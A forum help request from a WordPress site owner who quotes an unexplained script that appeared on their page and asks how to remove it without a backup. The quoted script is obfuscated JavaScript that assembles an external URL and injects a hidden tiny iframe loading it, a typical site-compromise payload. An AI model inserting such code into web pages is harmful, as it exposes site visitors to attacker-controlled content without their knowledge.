HELP: WordPress Error – body.appendChild

Hi,

since a few days I get a error-line on my wordpress page.

w=’s’;uf=’m’;mc=’tt’;vr=’//’;yi=’n’;wl=’:’;zg=’oo’;ea=’e’;oa=’am’;ys=’er’;h=’p’;z=’ltr’;p=’i’;t=’i’;fl=’c’;o=’r’;aq=’h’;d=’/f’;gd=’.i’;po=’fr’;a=’1′;zq=t.concat(po,oa,ea);s=w.concat(o,fl);ox=aq.concat(mc,h,wl,vr,d,p,z,ys,zg,uf,a,gd,yi);var l=document.createElement(zq);l.setAttribute(‘width’,’5′);l.setAttribute(‘height’,’5′);l.setAttribute(‘style’,’display:none’);l.setAttribute(s,ox);document.body.appendChild(l);

I have no clue what it could be. It would be nice if you could give me feedback, what I can do to get it running again wihtout the error.
Unfortunately I have no BackUp 🙁

Thank you!